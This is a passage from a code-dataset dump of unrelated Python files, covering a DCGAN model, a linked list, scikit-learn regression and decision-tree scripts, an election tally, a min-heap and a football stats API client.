self.conv3(x)\n x = self.conv4(x)\n if c.mbdiscr:\n last_conv_output = self.conv5(x)\n x = last_conv_output.view(-1, self.num_flat_features(last_conv_output))\n x = self.lin1(x)\n mbd_layer = self.mbd(x)\n mbd_layer = self.lin2(mbd_layer)\n sig_out = self.activationD(mbd_layer)\n else:\n x = self.conv5(x)\n last_conv_output = self.conv6(x)\n sig_out = self.activationD(last_conv_output)\n return last_conv_output, sig_out\n\n\n def num_flat_features(self, x):\n size = x.size()[1:] # all dimensions except the batch dimension\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n","sub_path":"DCGAN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"528403109","text":"# -*- coding: utf-8 -*-\n\n'''\n 链表\n'''\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n self.prev = None\n def getData(self):\n return self.data\n\n def setData(self, data):\n self.data = data\n\n def getNext(self):\n return self.next\n\n def getPrev(self):\n return self.prev\n\nclass TwoWayList:\n def __init__(self):\n self.head = None\n self.tail = None\n self.length = 0\n\n def isEmpty(self):\n return self.head == None\n \n def append(self, item):\n if self.length == 0:\n node = Node(item)\n self.head = node\n self.tail = node\n self.length = 1\n return\n node = Node(item)\n tail = self.tail\n tail.next = node\n node.prev = tail\n self.tail = node\n self.length += 1\n \n def insert(self, index, item):\n length = self.length\n if (index<0 and abs(index)>length) or (index>0 and index>=length):\n return False\n if index < 0:\n index = index + length\n if index == 0:\n node = Node(item)\n if self.head != None:\n self.head.prev = node\n else:\n self.tail = node\n node.next = self.head\n self.head = node\n self.length += 1\n return True\n if index == length - 1:\n return self.append(item)\n\n\n node1 = self.head\n for i in range(0, index):\n node1 = node1.next\n node2 = node1.next\n\n node = Node(item)\n node.prex = node1\n node.next = node2\n node1.next = node\n node2.prev = node\n\n self.length += 1\n return True\n\n def get(self, data):\n node = self.head\n for i in range(self.length):\n if node.data == data:\n return node\n else:\n node = node.next\n else:\n return False\n\n def getByIndex(self, index):\n if index >= self.length:\n return False\n if index == 0:\n return self.head\n\n now = self.head\n for i in range(self.length):\n if i == index:\n return now\n now = now.next\n\n def setData(self, index, data):\n if index >= self.length:\n return False\n if index == 0:\n self.head.data = data\n\n now = self.head\n for i in range(self.length):\n if i == index:\n now.data = data\n return True\n now = now.next\n \n def remove(self, index):\n if index >= self.length:\n return False\n if index == 0:\n self.head = self.head.next\n if self.length != 1:\n self.head.prev = None\n self.length -= 1\n return True\n if index == self.length-1:\n self.tail = self.tail.prev\n self.tail.next = None\n self.length -= 1\n return True\n\n now = self.head\n for i in range(self.length):\n if i == index:\n now.next.prev = now.prev\n now.prev.next = now.next\n self.length -= 1\n return True\n now = now.next\n\n def reverse(self):\n now = self.head\n last = None\n for i in range(self.length):\n last = now\n now = now.next\n tmp = last.prev\n last.prev = last.next\n last.next = tmp\n tmp = self.head\n self.head = self.tail\n self.tail = tmp\n return True\n \n def clear(self):\n self.head = None\n self.tail = None\n self.length = 0\n\n def __str__(self):\n string = ''\n node = self.head\n for i in range(self.length):\n string += str(node.data) + '/'\n node = node.next\n return string\n\nli = TwoWayList()\nli.isEmpty()\nli.insert(0, 1)\nli.getByIndex(0)\nli.remove(0)\n\nprint(li)\nli.append(1)\n\nprint(li)\nli.append(2)\nprint(li)\nli.append(4)\nprint(li)\nli.insert(2,3)\nprint(li)\nli.insert(3,4)\n\nprint(li)\nli.remove(2)\nprint(li)\nli.setData(2,10)\nprint(li)\nli.reverse()\nprint(li)\nprint(li.get(2).data)\nprint(li.getByIndex(1).data)","sub_path":"link/twowaylist.py","file_name":"twowaylist.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"297323725","text":"\n# coding: utf-8\n\n# In[1]:\n\n\n#Import packages\nimport pandas as pd\nimport numpy as np\nimport sklearn\n\n\n# In[2]:\n\n\nfrom IPython.core.interactiveshell import InteractiveShell\nInteractiveShell.ast_node_interactivity='all' # this is magic command which will execute all the lines in code instead of last one.\n\n\n# In[3]:\n\n\n#Import dataset and create a dataframe\nfrom sklearn import datasets\nboston=datasets.load_boston()\n\n\n# In[4]:\n\n\n#Find out more about this dataset\nprint(boston.DESCR)\n\n\n# In[5]:\n\n\n#create dataframe\ndf=pd.DataFrame(boston.data,columns=boston.feature_names)\ndf['House_Price']=boston.target\n\n\n# In[6]:\n\n\ndf.head()\n\n\n# In[7]:\n\n\ndf.describe()\n\n\n# In[8]:\n\n\n#scale all values between 0 & 1\nfrom sklearn.preprocessing import MinMaxScaler\nscld=MinMaxScaler(feature_range=(0,1))\narr_scld=scld.fit_transform(df)\ndf_scld=pd.DataFrame(arr_scld,columns=df.columns)\ndf.head()\ndf.describe()\ndf_scld.head()\ndf_scld.describe()\n\n\n# In[9]:\n\n\n#Inverse scaling to revert back to same scale\ndf_scld.head()\ndf1=pd.DataFrame(scld.inverse_transform(df_scld),columns=df.columns)\ndf1.head()\n\n\n# In[10]:\n\n\ndf.count()\n\n\n# In[11]:\n\n\n#Add dependent variabels\ndf['House_Price']=boston.target\ndf.head()\ndf.describe()\n\n\n# In[12]:\n\n\n#correlation matrix\nx=df.corr()\nx\n\n\n# In[15]:\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nget_ipython().magic('matplotlib inline')\nimport seaborn as sns\nplt.subplots(figsize=(20,20))\nsns.heatmap(x,cmap='RdYlGn',annot=True)\nplt.show()\n\n\n# In[16]:\n\n\n#Create features and labels on the data\nx=df.drop('House_Price', axis=1)\ny=df['House_Price']\nx.head()\ny.head()\n\n\n# In[17]:\n\n\nimport sklearn\nfrom sklearn.cross_validation import train_test_split\n\n\n# In[18]:\n\n\n#Create train and test data with 75% and 25% split\ntrain_x, test_x,train_y,test_y=train_test_split(x,y,test_size=0.3,random_state=1)\ntrain_x.shape\ntest_x.shape\ntrain_y.shape\ntest_y.shape\n\n\n# In[19]:\n\n\n#lets import the regression object and define model\nfrom sklearn.linear_model import LinearRegression\nlm=LinearRegression()\nlm\n\n\n# In[20]:\n\n\n#Fit a model on the train data\nlm.fit(train_x,train_y)\n\n\n# In[21]:\n\n\n#Evaluate the model\npredict_test=lm.predict(test_x)\n\n\n# In[22]:\n\n\n#R2 Value\nprint(\"Rsquare value for TEST data is-\")\nnp.round(lm.score(test_x, test_y)*100,0)\nprint(\"Rsquare value for TRAIN data is-\")\nnp.round(lm.score(train_x,train_y)*100,0)\n\n\n# In[23]:\n\n\n#Predict on test and training data\npredict_test=lm.predict(test_x)\n\n\n# In[24]:\n\n\n#Print the Loss Function - MSE\nimport numpy as np\nfrom sklearn import metrics\nprint (\"Mean Square Error (MSE) for TEST data is-\")\nnp.round(metrics.mean_squared_error(test_y,predict_test),0)\n\n\n# In[25]:\n\n\nfrom sklearn.metrics import mean_absolute_error\nprint (\"Mean Absolute Error (MAE) for TEST data is-\")\nnp.round(mean_absolute_error(test_y,predict_test),0)\n\n\n# In[26]:\n\n\n#Liner regression model fitting and model Evaluation\n#Append data\nfdf=pd.concat([test_x,test_y],1)\nfdf['Predicted']=np.round(predict_test,1)\nfdf['Prediction_error']=fdf['House_Price']-fdf['Predicted']\nfdf\n\n\n# In[27]:\n\n\nplt.subplots(figsize=(20,20))\nplt.scatter(fdf.House_Price,fdf.Prediction_error,color='red')\nplt.xlabel ('House Price')\nplt.ylabel ('Error')\nplt.show();\n\n\n# In[28]:\n\n\nimport seaborn as sns\n\n\n# In[29]:\n\n\n#magic command which will show graphs in the same notebook rather than saving some where.\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\nplt.show()\n\n\n# In[30]:\n\n\niris=sns.load_dataset('iris')\n\n\n# In[31]:\n\n\niris.head()\n\n\n# In[32]:\n\n\nnp.round(iris.mean(),2)\n\n\n# In[33]:\n\n\nnp.round(iris.median(),2)\n\n\n# In[34]:\n\n\niris.count()\n\n\n# In[35]:\n\n\n#Counting frequency for categorical values\npd.crosstab(index=iris[\"species\"],columns=\"Frequency\")\n\n\n# In[36]:\n\n\ncorrelation=iris.corr()\ncorrelation\n\n\n# In[37]:\n\n\nsns.heatmap(correlation,cmap=\"RdYlGn\",annot=True)\nplt.show();\nsns.heatmap(correlation,cmap=\"Blues\",annot=True)\nplt.show();\n\n","sub_path":"Boston_Raghavendra Reddy_linerregression.py","file_name":"Boston_Raghavendra Reddy_linerregression.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"2673663","text":"# Load libraries\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.model_selection import StratifiedKFold\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import roc_auc_score\r\nfrom sklearn.metrics import confusion_matrix\r\nimport matplotlib.pyplot as plt\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n# Unpickle data\r\ndata = pd.read_pickle('data')\r\n\r\n# Separate target and features\r\ntarget = 'diagnosis'\r\ny = data[target]\r\nX = data.drop(columns=[target])\r\nfeatures_DT_list = ['texture_mean', 'area_worst', 'smoothness_worst', 'area_mean', 'concavity_mean']\r\nX = X[features_DT_list]\r\n\r\n# Split the dataset into train and test\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=100)\r\n\r\nclfs = {'dt': DecisionTreeClassifier(random_state=0)}\r\n\r\npipe_clfs = {}\r\n\r\nfor name, clf in clfs.items():\r\n pipe_clfs[name] = Pipeline([('StandardScaler', StandardScaler()),\r\n ('clf', clf)])\r\n\r\nparam_grids = {}\r\n\r\n# Parameter grid for Decision Tree\r\nparam_grid = [{'clf__min_samples_split': [2],\r\n 'clf__min_samples_leaf': [3]}]\r\n\r\nparam_grids['dt'] = param_grid\r\n\r\ngs = GridSearchCV(estimator=pipe_clfs['dt'],\r\n param_grid=param_grids['dt'],\r\n scoring='accuracy',\r\n n_jobs=1,\r\n iid=False,\r\n cv=StratifiedKFold(n_splits=10,\r\n shuffle=True,\r\n random_state=0))\r\n\r\n# Fit the pipeline\r\ngs = gs.fit(X_train, y_train)\r\n\r\n# Get prediction\r\ny_pred = gs.predict(X_test)\r\n\r\nprint('Accuracy:', accuracy_score(y_test, y_pred))\r\nprint('Classification Report:')\r\nprint(classification_report(y_test, y_pred))\r\n\r\nle = LabelEncoder()\r\ny_test = le.fit_transform(y_test)\r\ny_pred = le.fit_transform(y_pred)\r\n\r\nprint('ROC_AUC Score', roc_auc_score(y_test, y_pred))\r\n\r\n# CONFUSION MATRIX\r\n# Plot non-normalized confusion matrix\r\nfrom sklearn.metrics import ConfusionMatrixDisplay\r\ncm = confusion_matrix(y_test, y_pred)\r\ncmd = ConfusionMatrixDisplay(cm, display_labels=['B','M'])\r\ncmd.plot(cmap='Blues')\r\ncmd.ax_.set(xlabel='Predicted', ylabel='True')\r\nplt.figure(figsize=(5,5))\r\nplt.show()\r\n\r\ntn, fp, fn, tp = cm.ravel()\r\nprint('Coefficients Confusion DT - best parameters')\r\nprint('tn', tn, 'fp', fp, 'fn', fn, 'tp', tp)\r\n\r\n# OUTPUT TO INPUT CAPSTONE PROJECT\r\n# OUTPUT THE MODEL\r\nimport pickle\r\nwith open('clf.DT', 'wb') as f:\r\n pickle.dump(gs, f)\r\n\r\n# OUTPUT THE PREDICTIONS\r\nfrom numpy import savetxt\r\nsavetxt('DT_y_pred.csv', y_pred, delimiter=',')\r\n\r\n# OUTPUT THE WRONG PREDICTIONS AND CORRESPONDING SAMPLE NUMBER\r\nDT_x_wrong = []\r\nDT_y_wrong = []\r\n\r\nfor i in range(len(y_pred)):\r\n y_t = y_test[i]\r\n y_p = y_pred[i]\r\n if y_t != y_p:\r\n DT_x_wrong.append(i)\r\n DT_y_wrong.append(y_p)\r\n print(i, 'predicted:', y_p, 'true:', y_t)\r\n\r\n# save to csv file\r\nsavetxt('DT_x_wrong.csv', DT_x_wrong, delimiter=',')\r\nsavetxt('DT_y_wrong.csv', DT_y_wrong, delimiter=',')\r\n","sub_path":"DM Final Project_6_DT.py","file_name":"DM Final Project_6_DT.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619940089","text":"import unittest\n\nfrom selenium.webdriver.android import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n\nclass TestSelenium(unittest.TestCase):\n @unittest.skip(\"Nie pyknie na serwerze github, bo nie sciagamy sterownika\")\n def test_selenium(self):\n driver = webdriver.Chrome(executable_path='/Users/jacja/Downloads/chromedriver')\n driver.get(\"http://www.python.org\")\n self.assertIn(\"Python\", driver.title)\n elem = driver.find_element_by_name(\"q\")\n elem.clear()\n elem.send_keys(\"pycon\")\n elem.send_keys(Keys.RETURN)\n self.assertNotIn(\"No results found.\", driver.page_source)\n driver.close()","sub_path":"tests/selenium/test_selenium.py","file_name":"test_selenium.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573245506","text":"\n\nfrom xai.brain.wordbase.nouns._syrian import _SYRIAN\n\n#calss header\nclass _SYRIANS(_SYRIAN, ):\n\tdef __init__(self,): \n\t\t_SYRIAN.__init__(self)\n\t\tself.name = \"SYRIANS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"syrian\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_syrians.py","file_name":"_syrians.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"418889002","text":"#!/usr/bin/env python3\nimport asyncio\nimport json\nfrom pathlib import Path\nimport random\n\nasync def get_message(loop, name, persistent):\n reader, writer = await asyncio.open_connection(\n '127.0.0.1', 14141, loop=loop\n )\n writer.write(json.dumps({\n 'type': 'command',\n 'command': 'read',\n 'destination': name.rstrip(),\n 'persistent_queue': persistent\n }).encode('utf-8'))\n writer.write_eof()\n await writer.drain()\n response = await reader.read()\n writer.close()\n return response\n\nasync def get_destination_name():\n path = Path(\"free_users.txt\")\n if path.is_file():\n with open(\"free_users.txt\", 'r+') as f:\n all_names = f.readlines()\n length = len(all_names)\n f.seek(0)\n for i, val in enumerate(all_names):\n if i == 0:\n name = val\n else:\n f.write(val)\n f.truncate()\n f.close()\n with open(\"connected_users.txt\", \"a\") as f:\n f.write(name)\n return name\n\nasync def run_receiver(loop):\n name = await get_destination_name()\n int_number = random.randint(1, 2)\n persistent = False\n if int_number == 1:\n persistent = True\n print(persistent)\n while True:\n try:\n response = await get_message(loop, name, persistent)\n print('Received %s', response)\n await asyncio.sleep(2)\n except KeyboardInterrupt:\n break\n\n\ndef main():\n loop = asyncio.get_event_loop()\n loop.run_until_complete(run_receiver(loop))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"155511429","text":"# Modules\nimport os\nimport csv\n\n# Set path for file\ncsvpath = os.path.join(\"election_data.csv\")\n\n# Open the CSV\nwith open(csvpath, newline=\"\") as csvfile:\n csvreader = csv.reader(csvfile, delimiter=\",\")\n\n # Assign list to a variable\n my_list = list(csvreader)\n\n # Removing header row from my list\n my_list.remove(my_list[0])\n\n # Create Election Results summary list\n results = []\n\n # Add title to Election Results\n results.append(\"Election Results\")\n\n # Add separation lines to Election Results\n results.append(\"-------------------------\")\n\n # Count how many total votes there are\n votes = len(my_list)\n\n # Add Total Votes to Election Results\n results.append(\"Total Votes: \" + str(votes))\n\n # Add separation lines to Election Results\n results.append(\"-------------------------\")\n\n # Start vote counter for each candidate\n Khan = 0\n Correy = 0\n Li = 0\n OTooley = 0\n\n # Read each row and add 1 to counter for each candidate\n for row in my_list:\n if row[2] == 'Khan':\n Khan += 1\n if row[2] == 'Correy':\n Correy += 1\n if row[2] == 'Li':\n Li += 1\n if row[2] == 'O\\'Tooley':\n OTooley += 1\n\n # Convert decimal to percentage\n kper = (Khan/votes)*100\n cper = (Correy/votes)*100\n lper = (Li/votes)*100\n oper = (OTooley/votes)*100\n\n # Round percentages to third decimal\n from decimal import Decimal\n kper = Decimal(kper).quantize(Decimal('1e-3'))\n cper = Decimal(cper).quantize(Decimal('1e-3'))\n lper = Decimal(lper).quantize(Decimal('1e-3'))\n oper = Decimal(oper).quantize(Decimal('1e-3'))\n\n # Add individual candidate results to Election Results\n results.append(\"Khan: \" + str(kper) + \"% (\" + str(Khan) + \")\")\n results.append(\"Correy: \" + str(cper) + \"% (\" + str(Correy) + \")\")\n results.append(\"Li: \" + str(lper) + \"% (\" + str(Li) + \")\")\n results.append(\"O'Tooley: \" + str(oper) + \"% (\" + str(OTooley) + \")\")\n\n # Add separation lines to Election Results\n results.append(\"-------------------------\")\n\n # Determine winner\n comparison = [Khan, Correy, Li, OTooley]\n highest = max(comparison)\n if highest == Khan:\n winner = 'Khan'\n elif highest == Correy:\n winner = 'Correy'\n elif highest == Li:\n winner = 'Li'\n elif highest == OTooley:\n winner = 'O\\'Tooley' \n\n # Add winner to Election Results\n results.append(\"Winner: \" + winner)\n\n # Add separation lines to Election Results\n results.append(\"-------------------------\")\n\n # Add Election Results to text file\n with open('electionresults.txt', 'w') as filehandle: \n for listitem in results:\n filehandle.write('%s\\n' % listitem)\n\n # Print Election Results \n print(*results, sep = \"\\n\")","sub_path":"03-PythonChallenge/PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278223253","text":"from tkinter import *\nimport time, random\n\ntk = Tk()\ncanvas = Canvas(tk, width = 1000, height = 1000)\ncanvas.pack()\n\ndef move(event):\n if event.keysym == 'Up':\n global y\n global y1\n y-=10\n y1-=10\n print(1)\n elif event.keysym == 'Down':\n y+=10\n y1+=10\n print(2)\n elif event.keysym == 'Right':\n global x\n global x1\n x+=10\n x1+=10\n print(3)\n elif event.keysym == 'Left':\n x-=10\n x1-=10\n print(4)\n \nbackground = canvas.create_rectangle(0, 0, 1000, 1000, fill = 'white') #draws background\nranNum=random.random()*960 #Creates a random number\nranNum1=random.random()*960 #Creates a random number\n#food = canvas.create_rectangle(ranNum, ranNum1, ranNum + 15, ranNum1 + 15, fill='green') #creates food\nr1 = None\no = 0\nlength = 4\nx = 500\ny = 500\nx1 = 515\ny1 = 515\nwhile o < length:\n if canvas.find_overlapping(ranNum, ranNum, ranNum + 15, ranNum1 + 15) == True:\n x+=5\n y+=5\n x1+=5\n y1+=5\n #canvas.delete(food)\n r=canvas.create_rectangle(x, y, x1, y1, fill = 'blue')\n tk.bind('', move )\n tk.bind('', move)\n tk.bind('', move)\n tk.bind('', move)\n time.sleep(.0)\n canvas.delete(r1)\n r1 = r\n tk.update()\n\ntk.mainloop()\n","sub_path":"car.py","file_name":"car.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"215876511","text":"import numpy as np\r\nfrom emoji_translator import just_emojis\r\nimport zipfile\r\nimport os\r\nimport re\r\nimport gensim\r\nfrom pathlib import Path\r\nfrom pathlib import PurePath\r\nfrom rusvectores_script.rus_preprocessing_udpipe import ultimate_process\r\nemb_dim = 300\r\nbase_path = os.path.abspath('')\r\ntrained_models_directiory = PurePath(base_path, 'borrowed_model')\r\npath_to_current_model = os.path.join(trained_models_directiory,\r\n \"rusvectores_180.zip\")\r\npath_to_current_emoji_model = os.path.join(trained_models_directiory,\r\n \"emoji2vec.bin\")\r\nwith zipfile.ZipFile(path_to_current_model, 'r') as archive:\r\n stream = archive.open('model.bin')\r\n model = gensim.models.KeyedVectors.load_word2vec_format(stream, binary=True)\r\nemoji_model = gensim.models.KeyedVectors.load_word2vec_format(path_to_current_emoji_model, binary=True)\r\nvse_ne_bukvy = re.compile('[^а-я ]')\r\ndef from_tweet_to_text_vector(x):\r\n temp = x.lower() #понижает регистр\r\n #temp = re.sub('ё', 'е', temp) #заменяет Ё на Е \r\n temp = vse_ne_bukvy.sub('', temp) #убирает всё кроме букв и пробелов\r\n return [model[word] for word in ultimate_process(temp) if word in model]\r\n\r\nvse_ne_emoji = re.compile('[^\\U0001f600-\\U0001f650]') \r\ndef from_tweet_to_emoji_vector(x):\r\n unicode_emoji_lst = list(vse_ne_emoji.sub('', x)) #оставит только эмоджи\r\n ascii_emoji_lst = just_emojis(x) #оставит только ascii эмоджи\r\n emoji_lst = unicode_emoji_lst + ascii_emoji_lst\r\n return [emoji_model[emoji] for emoji in emoji_lst if emoji in emoji_model]\r\n\r\ndef to_connect_and_size(text, emoji, text_maxlen, emoji_maxlen):\r\n return np.append(to_size(text, text_maxlen),\r\n to_size(emoji, emoji_maxlen),\r\n axis=1)\r\n\r\ndef to_size(data, maxlen):\r\n output = []\r\n for smp in data:\r\n if smp.size >0:\r\n output.append(np.append(smp[:maxlen],\r\n np.zeros((max(0, maxlen - len(smp)),\r\n emb_dim)),\r\n axis = 0))\r\n else: output.append(np.zeros((maxlen - len(smp), emb_dim)))\r\n return np.array(output)\r\n","sub_path":"main_library.py","file_name":"main_library.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"407850356","text":"b=[]\r\nfor i in range(int(input())):\r\n name = input()\r\n score = float(input())\r\n a=[]\r\n a.append(name)\r\n a.append(score)\r\n b.append(a)\r\nmarks=[]\r\nfor j in range(len(b)):\r\n marks.append(b[j][1])\r\nmarks.sort()\r\nfor k in range(len(marks)-1):\r\n if marks[k]!=marks[k+1]:\r\n sec_small=marks[k+1]\r\n break\r\n else:\r\n k=k+1\r\nname=[]\r\nfor p in range(len(b)):\r\n for q in range(2):\r\n if b[p][q]==sec_small:\r\n name.append(b[p][q-1])\r\nname.sort()\r\nfor z in range(len(name)):\r\n print(name[z]) \r\n","sub_path":"Python/Nested Lists.py","file_name":"Nested Lists.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"285616206","text":"import math\n\n\n# Implementing Binary Min Heap using an array\nclass MinHeap:\n def __init__(self):\n self.heap = [None]\n\n def insert(self, value):\n self.heap.append(value)\n\n if len(self.heap) > 2:\n self._heapify_up(len(self.heap) - 1)\n\n # Returns the min value in the heap\n def peek(self):\n return self.heap[0]\n\n # Removes and returns the min value in the heap\n def extract_min(self):\n min_val = self.heap[0]\n\n # swap root with last element in the heap\n # then bubble down this value\n self.heap[0] = self.heap[len(self.heap) - 1]\n self.heap = self.heap[:-1]\n self._heapify_down(0)\n\n return min_val\n\n def _heapify_up(self, index):\n # get the parent index\n if index % 2 != 0:\n parent_index = int(math.floor((index - 1)/2))\n else:\n parent_index = int(index/2)\n\n # swap the two values if the child is smaller than its parent\n if parent_index > 0 and self.heap[parent_index] > self.heap[index]:\n self.heap[parent_index], self.heap[index] = self.heap[index], self.heap[parent_index]\n\n # recursively \"bubble up\" this value until it has reached its appropriate position in the heap\n self._heapify_up(parent_index)\n\n def _heapify_down(self, index):\n # get the child indices\n l_child = index * 2\n r_child = 2 * index + 1\n\n # swap the values if the child is smaller than its parent\n # recursively \"bubble down\" this value until reach leaf node\n if l_child < len(self.heap) - 1:\n if self.heap[index] > self.heap[l_child]:\n self.heap[index], self.heap[l_child] = self.heap[l_child], self.heap[index]\n self._heapify_down(l_child)\n\n if r_child < len(self.heap) - 1:\n if self.heap[index] > self.heap[r_child]:\n self.heap[index], self.heap[r_child] = self.heap[r_child], self.heap[index]\n self._heapify_down(r_child)\n\n def __str__(self):\n if len(self.heap) == 1:\n return str([])\n else:\n return str(self.heap[1:])\n\n\nif __name__ == \"__main__\":\n heap = MinHeap()\n heap.insert(40)\n heap.insert(60)\n heap.insert(10)\n heap.insert(20)\n heap.insert(50)\n heap.insert(30)\n print(heap)\n\n heap.extract_min()\n print(heap)\n","sub_path":"binary-min-heap/binary_min_heap.py","file_name":"binary_min_heap.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"643810001","text":"import logging\nimport logging.config\nimport os\nimport sys\n\nimport pandas as pd\n\nfrom api_calls import API_KEY, get_api_call, get_api_sig\nfrom api_keys import HOST\nfrom config import config\nfrom constants import (\n LIB_COMMON_DIR,\n PLAYERS_IN_TEAM_URL,\n PLAYERS_STATS_COLS,\n PLAYERS_STATS_URL,\n PROJECT_DIR,\n)\nfrom db_handle import insert_values\n\nfor d in [PROJECT_DIR, LIB_COMMON_DIR]:\n sys.path.append(d)\n\n\nlogger = logging.getLogger('main_logger')\n\nLOGS_DIR = os.path.join(PROJECT_DIR, 'logs')\nos.makedirs(LOGS_DIR, exist_ok=True)\nos.chdir(LOGS_DIR)\n\n\ndef get_players_in_team(team_id, league):\n\n API_SIG = get_api_sig()\n json_data = get_api_call(\n PLAYERS_IN_TEAM_URL.format(HOST, league, team_id, API_KEY, API_SIG)\n )\n\n if 'apiResults' not in json_data.keys():\n logger.info(\"There are no players in team {}\".format(team_id))\n return None\n\n res_raw = json_data['apiResults']\n res = res_raw[0]['league']['players']\n player_ids = [p['playerId'] for p in res]\n\n return player_ids\n\n\ndef get_players_stats_from_events(game_events_df):\n\n game_stats = [\n 'aerial_won',\n 'is_recovery_location_last_third',\n 'pass_in_last_third',\n 'pass_into_last_third',\n 'is_recovery',\n 'is_turnover',\n ]\n\n game_stats_df = (\n game_events_df[game_stats + ['offensivePlayer_playerId']]\n .groupby('offensivePlayer_playerId')\n .sum()\n .reset_index()\n )\n\n # Add aerial duels lost\n lost_duels = (\n game_events_df[['lost_duel_playerId', 'aerial_won']]\n .groupby('lost_duel_playerId')\n .sum()\n .reset_index()\n )\n lost_duels.columns = ['offensivePlayer_playerId', 'aerial_lost']\n\n stats_from_events_df = pd.merge(game_stats_df, lost_duels, how='left')\n stats_from_events_df['aerial_lost'].fillna(0, inplace=True)\n\n # Add fouls suffered in last third\n foul_in_last_third = (\n game_events_df[['defensivePlayer_playerId', 'foul_in_last_third']]\n .groupby('defensivePlayer_playerId')\n .sum()\n .reset_index()\n )\n\n foul_in_last_third.columns = [\n 'offensivePlayer_playerId',\n 'fouls_suffered_in_last_third',\n ]\n\n final_df = pd.merge(stats_from_events_df, foul_in_last_third, how='left')\n final_df['fouls_suffered_in_last_third'].fillna(0, inplace=True)\n\n final_df.rename(columns={'offensivePlayer_playerId': 'player_id'}, inplace=True)\n\n return final_df\n\n\ndef get_api_results(league, p, g, try_number=0):\n if try_number > 4:\n logger.info(\"There is no data for player {} in game {}\".format(p, g))\n return None\n else:\n API_SIG = get_api_sig()\n json_data = get_api_call(\n PLAYERS_STATS_URL.format(HOST, league, p, g, API_KEY, API_SIG)\n )\n\n if 'apiResults' not in json_data.keys():\n try_number += 1\n return get_api_results(league, p, g, try_number)\n else:\n return json_data\n\n\ndef insert_players_stats(g, league, game_events_df):\n\n stats_from_events_df = get_players_stats_from_events(game_events_df)\n\n game_stats = []\n\n for grp, grp_df in game_events_df.groupby(['teamId', 'offensivePlayer_playerId']):\n t, p = grp\n p = int(p)\n\n json_data = get_api_results(league, p, g)\n\n res = json_data['apiResults'][0]['league']['players'][0]['seasons'][0][\n 'eventType'\n ][0]['splits'][0]['events'][0]\n\n pl_stats = res['playerStats']\n\n player_dict = {}\n for key, val in pl_stats.items():\n if isinstance(val, dict):\n for k, v in val.items():\n key_name = '{}_{}'.format(key, k)\n player_dict[key_name] = [v]\n else:\n player_dict[key] = [val]\n\n gk_dit = {}\n if 'goaltenderStats' in res.keys():\n for key, val in res['goaltenderStats'].items():\n if isinstance(val, dict):\n for k, v in val.items():\n key_name = '{}_{}'.format(key, k)\n player_dict[key_name] = [v]\n gk_dit[key_name] = [v]\n else:\n player_dict[key] = [val]\n gk_dit[key] = [val]\n\n player_df = pd.DataFrame(player_dict)\n\n player_df['game_id'] = g\n player_df['team_id'] = t\n player_df['player_id'] = p\n\n game_stats.append(player_df)\n\n if not len(game_stats):\n return pd.DataFrame()\n\n game_stats_df = pd.concat(game_stats, sort=True)\n\n players_game_stats_df = pd.merge(game_stats_df, stats_from_events_df)\n\n insert_values(players_game_stats_df, 'players_stats', PLAYERS_STATS_COLS)\n\n return game_stats_df\n\n\nif __name__ == '__main__':\n logging.config.dictConfig(config['logger'])\n","sub_path":"get_data/python/get_players_stats.py","file_name":"get_players_stats.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13283822","text":"# -*- coding: utf-8 -*-\n\n__author__ = 'Wang Chao'\n__date__ = '14-7-14'\n\nfrom core.signals import vip_changed_signal\nfrom core.prison import Prison\nfrom core.mail import Mail\nfrom core.plunder import Plunder\nfrom preset.settings import MAIL_VIP_CHANGED_CONTENT, MAIL_VIP_CHANGED_TITLE\nfrom preset.data import VIP_FUNCTION\n\n\ndef _vip_change(char_id, old_vip, new_vip, **kwargs):\n 